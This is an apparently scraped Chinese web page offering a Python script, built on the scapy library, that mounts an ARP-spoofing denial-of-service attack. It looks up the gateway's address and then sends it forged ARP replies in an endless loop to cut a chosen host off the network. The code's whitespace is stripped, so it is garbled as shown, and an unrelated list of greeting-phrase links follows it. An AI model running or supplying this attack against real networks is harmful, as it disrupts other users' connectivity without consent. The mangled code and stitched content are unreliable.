python写的ARP攻击代码实例
注:使用这个脚本需要安装scapy包
最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题
#coding:utf-8 #example:sudo pythonarp_dos.py 192.168.1.103
fromscapy.allimportARP,send importos,re,sys
defget_gateway_ip(): t=os.popen('route-n') foriint: ifi.startswith('0.0.0.0'): r=re.split("\s+",i) returnr[1]
defget_gateway_hw(ip): t=os.popen('arp-e%s'%ip) foriint: ifi.startswith(ip): r=re.split("\s+",i) returnr[2] defhack(hackip): ip=get_gateway_ip() hw=get_gateway_hw(ip) arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip) #os.popen('ifconfigeth0%s'%hackip) while1: send(arp)
defhelp(): print("USEAGE:sudopythonarp_dos.py192.168.1.100")
defmain(): iflen(sys.argv)!=2: help() else: hack(sys.argv[1]) if__name__=="__main__": main()
热门推荐
2 医政科祝福语简短
10 聚餐会祝福语简短
11 祖国七十华诞简短祝福语
12 孩子16岁祝福语简短
13 幼师春节祝福语简短创意
14 新年给妹妹祝福语简短
15 姐姐女儿结婚祝福语简短
16 Q穷人结婚祝福语简短
17 表达朋友的祝福语简短
18 上嫂子生日祝福语简短